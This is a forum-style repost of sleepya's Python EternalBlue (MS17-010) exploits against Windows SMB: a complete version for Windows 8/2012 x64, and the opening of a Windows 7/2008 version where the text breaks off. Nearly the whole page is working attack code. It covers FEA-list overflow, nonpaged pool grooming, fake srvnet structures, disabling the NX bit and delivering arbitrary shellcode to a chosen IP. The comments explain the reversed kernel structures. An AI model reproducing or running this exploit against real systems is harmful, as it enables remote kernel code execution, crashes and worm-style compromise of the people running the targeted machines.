|
EternalBlue exploit for Windows 8 and 2012- #!/usr/bin/python
- from impacket import smb
- from struct import pack
- import os
- import sys
- import socket
- '''
- EternalBlue exploit for Windows 8 and 2012 by sleepya
- The exploit might FAIL and CRASH a target system (depended on what is overwritten)
- The exploit support only x64 target
- Tested on:
- - Windows 2012 R2 x64
- - Windows 8.1 x64
- Default Windows 8 and later installation without additional service info:
- - anonymous is not allowed to access any share (including IPC$)
- - tcp port 445 if filtered by firewall
- Reference:
- - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
- Exploit info:
- - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
- https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
- On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- - The exploit is likely to crash a target when it failed
- - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- - See the code and comment for exploit detail.
- Disable NX method:
- - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- - The exploit is also the same but we need to trigger bug twice
- - First trigger, set MDL.MappedSystemVa to target pte address
- - Write '\x00' to disable the NX flag
- - Second trigger, do the same as Windows 7 exploit
- - From my test, if exploit disable NX successfully, I always get code execution
- '''
- # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
- NTFEA_SIZE = 0x9000
- ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
- ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
- ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
- '''
- Reverse from srvnet.sys (Win2012 R2 x64)
- - SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
- // size 0x90
- struct SRVNET_BUFFER_HDR {
- LIST_ENTRY list;
- USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
- char unknown0[6];
- char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
- DWORD netRawBufferSize; // offset: 0x20
- DWORD ioStatusInfo;
- DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
- DWORD pad2;
- char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
- PMDL pmdl1; // point at offset 0x90 from this struct
- DWORD nByteProcessed; // 0x40
- char unknown4[4];
- QWORD smbMsgSize; // MUST be modified to size of all recv data
- PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
- QWORD pSrvNetWskStruct; // want to change to fake struct address
- DWORD unknown6; // 0x60
- char unknown7[12];
- char unknown8[0x20];
- };
- struct SRVNET_BUFFER {
- char transportHeader[80]; // 0x50
- char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
- SRVNET_BUFFER_HDR hdr; //some header size 0x90
- //MDL mdl1; // target
- };
- In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
- Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
- DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
- So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
- If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
- '''
- # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
- # Here is the important fields on x64
- # - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
- # a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
- # - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
- # This value MUST be exactly same as the number of bytes we send.
- # Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
- # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
- # The value MUST point to valid (might be fake) struct.
- # - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
- # - 0x90 (VOID*) : MDL.Next should be NULL
- # - 0x98 (USHORT) : MDL.Size should be some value that not too small
- # - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
- # - 0x90 (VOID*) : MDL.Process should be NULL
- # - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
- # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
- #
- #
- # To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
- # Here is related field for freeing corrupted buffer
- # - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
- # - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
- # - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
- # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
- # your shellcode as function argument
- # - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
- # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
- # Here is x64 assembly code for setting nByteProcessed field
- # - fetch SRVNET_BUFFER address from function argument
- # \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
- # - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
- # \x48\x01\xd1 add rcx, rdx
- # \x48\x89\x4a\x30 mov [rdx+0x30], rcx
- # - set nByteProcessed for trigger free after return
- # \x8b\x4a\x48 mov ecx, [rdx+0x48]
- # \x89\x4a\x40 mov [rdx+0x40], ecx
- TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode
-
- # Note: feaList will be created after knowing shellcode size.
- # feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
- # PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808
- # NX bit is at 0xfffff6ffffffe80f
- # MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790
- fakeSrvNetBufferX64Nx = '\x00'*16
- fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
- fakeSrvNetBufferX64Nx += '\x00'*16
- fakeSrvNetBufferX64Nx += '\x00'*16
- fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
- fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
- fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
- fakeSrvNetBufferX64Nx += '\x00'*16
- fakeSrvNetBufferX64Nx += '\x00'*16
- fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
- fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa
- feaListNx = pack('<I', 0x10000)
- feaListNx += ntfea9000
- feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
- # stop copying by invalid flag (can be any value except 0 and 0x80)
- feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
- def createFakeSrvNetBuffer(sc_size):
- # 0x200 is size of fakeSrvNetBufferX64
- totalRecvSize = 0x80 + 0x200 + sc_size
- fakeSrvNetBufferX64 = '\x00'*16
- fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
- fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
- fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += '\x00'*16
- fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
- fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
- return fakeSrvNetBufferX64
- def createFeaList(sc_size):
- feaList = pack('<I', 0x10000)
- feaList += ntfea9000
- fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
- feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
- # stop copying by invalid flag (can be any value except 0 and 0x80)
- feaList += pack('<BBH', 0x12, 0x34, 0x5678)
- return feaList
- # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
- # x64: fake struct is at ffffffff ffd00e00
- # offset 0x50: KSPIN_LOCK
- # offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
- # offset 0x110: array of pointer to function
- # offset 0x13c: set to 3 (DWORD) for invoking ptr to function
- # some useful offset
- # offset 0x120: arg1 when invoking ptr to function
- # offset 0x128: arg2 when invoking ptr to function
- #
- # code path to get code exection after this struct is controlled
- # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
- fake_recv_struct = ('\x00'*16)*5
- fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
- fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
- fake_recv_struct += ('\x00'*16)*10
- fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array
- fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
- fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
- fake_recv_struct += ('\x00'*16)*11
- fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address
- def getNTStatus(self):
- return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
- setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
- def sendEcho(conn, tid, data):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
- transCommand['Parameters'] = smb.SMBEcho_Parameters()
- transCommand['Data'] = smb.SMBEcho_Data()
- transCommand['Parameters']['EchoCount'] = 1
- transCommand['Data']['Data'] = data
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- recvPkt = conn.recvSMB()
- if recvPkt.getNTStatus() == 0:
- print('got good ECHO response')
- else:
- print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
- # do not know why Word Count can be 12
- # if word count is not 12, setting ByteCount without enough data will be failed
- class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
- structure = (
- ('MaxBuffer','<H'),
- ('MaxMpxCount','<H'),
- ('VCNumber','<H'),
- ('SessionKey','<L'),
- #('AnsiPwdLength','<H'),
- ('UnicodePwdLength','<H'),
- ('_reserved','<L=0'),
- ('Capabilities','<L'),
- )
- def createSessionAllocNonPaged(target, size):
- # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
- # You can see the allocation logic (even code is not the same) in WinNT4 source code
- # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
- conn = smb.SMB(target, target)
- _, flags2 = conn.get_flags()
- # FLAGS2_EXTENDED_SECURITY MUST not be set
- flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
- # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
- if size >= 0xffff:
- flags2 &= ~smb.SMB.FLAGS2_UNICODE
- reqSize = size // 2
- else:
- flags2 |= smb.SMB.FLAGS2_UNICODE
- reqSize = size
- conn.set_flags(flags2=flags2)
-
- pkt = smb.NewSMBPacket()
- sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
- sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
- sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
- sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
- sessionSetup['Parameters']['VCNumber'] = os.getpid()
- sessionSetup['Parameters']['SessionKey'] = 0
- sessionSetup['Parameters']['AnsiPwdLength'] = 0
- sessionSetup['Parameters']['UnicodePwdLength'] = 0
- sessionSetup['Parameters']['Capabilities'] = 0x80000000
- # set ByteCount here
- sessionSetup['Data'] = pack('<H', size) + '\x00'*20
- pkt.addCommand(sessionSetup)
- conn.sendSMB(pkt)
- recvPkt = conn.recvSMB()
- if recvPkt.getNTStatus() == 0:
- print('SMB1 session setup allocate nonpaged pool success')
- else:
- print('SMB1 session setup allocate nonpaged pool failed')
- return conn
- # Note: impacket-0.9.15 struct has no ParameterDisplacement
- ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
- class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
- structure = (
- ('TotalParameterCount','<H=0'),
- ('TotalDataCount','<H'),
- ('ParameterCount','<H=0'),
- ('ParameterOffset','<H=0'),
- ('ParameterDisplacement','<H=0'),
- ('DataCount','<H'),
- ('DataOffset','<H'),
- ('DataDisplacement','<H=0'),
- ('FID','<H=0'),
- )
- def send_trans2_second(conn, tid, data, displacement):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- # assume no params
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
- transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
- transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
- transCommand['Parameters']['TotalParameterCount'] = 0
- transCommand['Parameters']['TotalDataCount'] = len(data)
- fixedOffset = 32+3+18
- transCommand['Data']['Pad1'] = ''
- transCommand['Parameters']['ParameterCount'] = 0
- transCommand['Parameters']['ParameterOffset'] = 0
- if len(data) > 0:
- pad2Len = (4 - fixedOffset % 4) % 4
- transCommand['Data']['Pad2'] = '\xFF' * pad2Len
- else:
- transCommand['Data']['Pad2'] = ''
- pad2Len = 0
- transCommand['Parameters']['DataCount'] = len(data)
- transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
- transCommand['Parameters']['DataDisplacement'] = displacement
- transCommand['Data']['Trans_Parameters'] = ''
- transCommand['Data']['Trans_Data'] = data
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
- pkt = smb.NewSMBPacket()
- pkt['Tid'] = tid
- command = pack('<H', setup)
- transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
- transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
- transCommand['Parameters']['MaxSetupCount'] = 1
- transCommand['Parameters']['MaxParameterCount'] = len(param)
- transCommand['Parameters']['MaxDataCount'] = 0
- transCommand['Data'] = smb.SMBTransaction2_Data()
- transCommand['Parameters']['Setup'] = command
- transCommand['Parameters']['TotalParameterCount'] = len(param)
- transCommand['Parameters']['TotalDataCount'] = len(data)
- fixedOffset = 32+3+38 + len(command)
- if len(param) > 0:
- padLen = (4 - fixedOffset % 4 ) % 4
- padBytes = '\xFF' * padLen
- transCommand['Data']['Pad1'] = padBytes
- else:
- transCommand['Data']['Pad1'] = ''
- padLen = 0
- transCommand['Parameters']['ParameterCount'] = len(param)
- transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
- if len(data) > 0:
- pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
- transCommand['Data']['Pad2'] = '\xFF' * pad2Len
- else:
- transCommand['Data']['Pad2'] = ''
- pad2Len = 0
- transCommand['Parameters']['DataCount'] = firstDataFragmentSize
- transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
- transCommand['Data']['Trans_Parameters'] = param
- transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
- pkt.addCommand(transCommand)
- conn.sendSMB(pkt)
- recvPkt = conn.recvSMB() # must be success
- if recvPkt.getNTStatus() == 0:
- print('got good NT Trans response')
- else:
- print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
- sys.exit(1)
-
- i = firstDataFragmentSize
- while i < len(data):
- sendSize = min(4096, len(data) - i)
- if len(data) - i <= 4096:
- if not sendLastChunk:
- break
- send_trans2_second(conn, tid, data[i:i+sendSize], i)
- i += sendSize
-
- if sendLastChunk:
- conn.recvSMB()
- return i
-
- # connect to target and send a large nbss size with data 0x80 bytes
- # this method is for allocating big nonpaged pool on target
- def createConnectionWithBigSMBFirst80(target, for_nx=False):
- sk = socket.create_connection((target, 445))
- pkt = '\x00' + '\x00' + pack('>H', 0x8100)
- # There is no need to be SMB2 because we want the target free the corrupted buffer.
- # Also this is invalid SMB2 message.
- # I believe NSA exploit use SMB2 for hiding alert from IDS
- #pkt += '\xffSMB' # smb2
- # it can be anything even it is invalid
- pkt += 'BAAD' # can be any
- if for_nx:
- # MUST set no delay because 1 byte MUST be sent immediately
- sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
- pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
- else:
- pkt += '\x00'*0x7c
- sk.send(pkt)
- return sk
- def exploit(target, shellcode, numGroomConn):
- # force using smb.SMB for SMB1
- conn = smb.SMB(target, target)
- # can use conn.login() for ntlmv2
- conn.login_standard('', '')
- server_os = conn.get_server_os()
- print('Target OS: '+server_os)
- if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
- print('This exploit does not support this target')
- sys.exit()
- tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC
- )
- # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
- progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
- # Another NT transaction for disabling NX
- nxconn = smb.SMB(target, target)
- nxconn.login_standard('', '')
- nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC
- )
- nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
- # create some big buffer at server
- # this buffer MUST NOT be big enough for overflown buffer
- allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
-
- # groom nonpaged pool
- # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
- srvnetConn = []
- for i in range(numGroomConn):
- sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
- srvnetConn.append(sk)
- # create buffer size NTFEA_SIZE at server
- # this buffer will be replaced by overflown buffer
- holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
- # disconnect allocConn to free buffer
- # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
- allocConn.get_socket().close()
- # hope one of srvnetConn is next to holeConn
- for i in range(5):
- sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
- srvnetConn.append(sk)
-
- # remove holeConn to create hole for fea buffer
- holeConn.get_socket().close()
-
- # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
- # first trigger to overwrite srvnet buffer struct for disabling NX
- send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
- recvPkt = nxconn.recvSMB()
- retStatus = recvPkt.getNTStatus()
- if retStatus == 0xc000000d:
- print('good response status for nx: INVALID_PARAMETER')
- else:
- print('bad response status for nx: 0x{:08x}'.format(retStatus))
-
- # one of srvnetConn struct header should be modified
- # send '\x00' to disable nx
- for sk in srvnetConn:
- sk.send('\x00')
-
- # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
- # second trigger to place fake struct and shellcode
- send_trans2_second(conn, tid, feaList[progress:], progress)
- recvPkt = conn.recvSMB()
- retStatus = recvPkt.getNTStatus()
- if retStatus == 0xc000000d:
- print('good response status: INVALID_PARAMETER')
- else:
- print('bad response status: 0x{:08x}'.format(retStatus))
- # one of srvnetConn struct header should be modified
- # a corrupted buffer will write recv data in designed memory address
- for sk in srvnetConn:
- sk.send(fake_recv_struct + shellcode)
- # execute shellcode
- for sk in srvnetConn:
- sk.close()
-
- # nicely close connection (no need for exploit)
- nxconn.disconnect_tree(tid)
- nxconn.logoff()
- nxconn.get_socket().close()
- conn.disconnect_tree(tid)
- conn.logoff()
- conn.get_socket().close()
- if len(sys.argv) < 3:
- print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
- sys.exit(1)
- TARGET=sys.argv[1]
- numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
- fp = open(sys.argv[2], 'rb')
- sc = fp.read()
- fp.close()
- if len(sc) > 4096:
- print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')
- sys.exit()
- # Now, shellcode is known. create a feaList
- feaList = createFeaList(len(sc))
- print('shellcode size: {:d}'.format(len(sc)))
- print('numGroomConn: {:d}'.format(numGroomConn))
- exploit(TARGET, sc, numGroomConn)
- print('done')
复制代码 EternalBlue exploit for Windows 7/2008- #!/usr/bin/python
- from impacket import smb
- from struct import pack
- import os
- import sys
- import socket
- '''
- EternalBlue exploit for Windows 7/2008 by sleepya
- The exploit might FAIL and CRASH a target system (depended on what is overwritten)
- Tested on:
- - Windows 7 SP1 x64
- - Windows 2008 R2 x64
- Reference:
- - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- Bug detail:
- - For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- - You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code
- https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263
- - In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here.
- if (nextFea > lastFeaStartLocation) {
- // this code is for shrinking FeaList->cbList because last fea is invalid.
- // FeaList->cbList is DWORD but it is cast to WORD.
- *(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList;
- return size;
- }
- - Here is related struct info.
- #####
- typedef struct _FEA { /* fea */
- BYTE fEA; /* flags */
- BYTE cbName; /* name length not including NULL */
- USHORT cbValue; /* value length */
- } FEA, *PFEA;
- typedef struct _FEALIST { /* feal */
- DWORD cbList; /* total bytes of structure including full list */
- FEA list[1]; /* variable length FEA structures */
- } FEALIST, *PFEALIST;
- typedef struct _FILE_FULL_EA_INFORMATION {
- ULONG NextEntryOffset;
- UCHAR Flags;
- UCHAR EaNameLength;
- USHORT EaValueLength;
- CHAR EaName[1];
- } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
- ######
- Exploit info:
- - I do not reverse engineer any x86 binary so I do not know about exact offset.
- - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
- This memory page is executable on Windows 7 and Wndows 2008.
- - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- - The exploit trick is same as NSA exploit
- - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- - See the code and comment for exploit detail.
- srvnet buffer info:
- - srvnet buffer contains a pointer to another struct and MDL about received buffer
- - Controlling MDL values results in arbitrary write
- - Controlling pointer to fake struct results in code execution because there is pointer to function
- - A srvnet buffer is created after target receiving first 4 bytes
- - First 4 bytes contains length of SMB message
- - The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- - SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- - Memory leak is ok to be ignored
- '''
- # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
- # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
- # the size 0x11000 is used in nsa exploit. this size is more reliable.
- NTFEA_SIZE = 0x11000
- # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
- ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
- ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
- ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
- ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
- ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
- ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
- '''
- Reverse from srvnet.sys (Win7 x64)
- - SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
- // for x64
- struct SRVNET_BUFFER {
- // offset from POOLHDR: 0x10
- USHORT flag;
- char pad[2];
- char unknown0[12];
- // offset from SRVNET_POOLHDR: 0x20
- LIST_ENTRY list;
- // offset from SRVNET_POOLHDR: 0x30
- char *pnetBuffer;
- DWORD netbufSize; // size of netBuffer
- DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
- // offset from SRVNET_POOLHDR: 0x40
- MDL *pMdl1; // at offset 0x70
- DWORD nByteProcessed;
- DWORD pad3;
- // offset from SRVNET_POOLHDR: 0x50
- DWORD nbssSize; // size of this smb packet (from user)
- DWORD pad4;
- QWORD pSrvNetWekStruct; // want to change to fake struct address
- // offset from SRVNET_POOLHDR: 0x60
- MDL *pMdl2;
- QWORD unknown5;
- // offset from SRVNET_POOLHDR: 0x70
- // MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
- // MDL mdl2;
- // char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
- // char netBuffer[0];
- };
- struct SRVNET_POOLHDR {
- DWORD size;
- char unknown[12];
- SRVNET_BUFFER hdr;
- };
- '''
- # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
- # Here is the important fields on x64
- # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
- # The value MUST point to valid (might be fake) struct.
- # - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
- # - 0x70 (VOID*) : MDL.Next should be NULL
- # - 0x78 (USHORT) : MDL.Size should be some value that not too small
- # - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
- # - 0x80 (VOID*) : MDL.Process should be NULL
- # - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
- # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
- #
- #
- # To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
- # Here is related field for freeing corrupted buffer
- # - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
- # a corrupted buffer MUST not be reused.
- # - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
- # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
- # your shellcode as function argument
- # - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
- # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
- # Here is x64 assembly code for setting nByteProcessed field
- # - fetch SRVNET_BUFFER address from function argument
- # \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
- # - set nByteProcessed for trigger free after return
- # \x8b\x4a\x2c mov ecx, [rdx+0x2c]
- # \x89\x4a\x38 mov [rdx+0x38], ecx
- TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
- TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
- fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
- fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
- fakeSrvNetBufferNsa += '\x00'*16
- fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
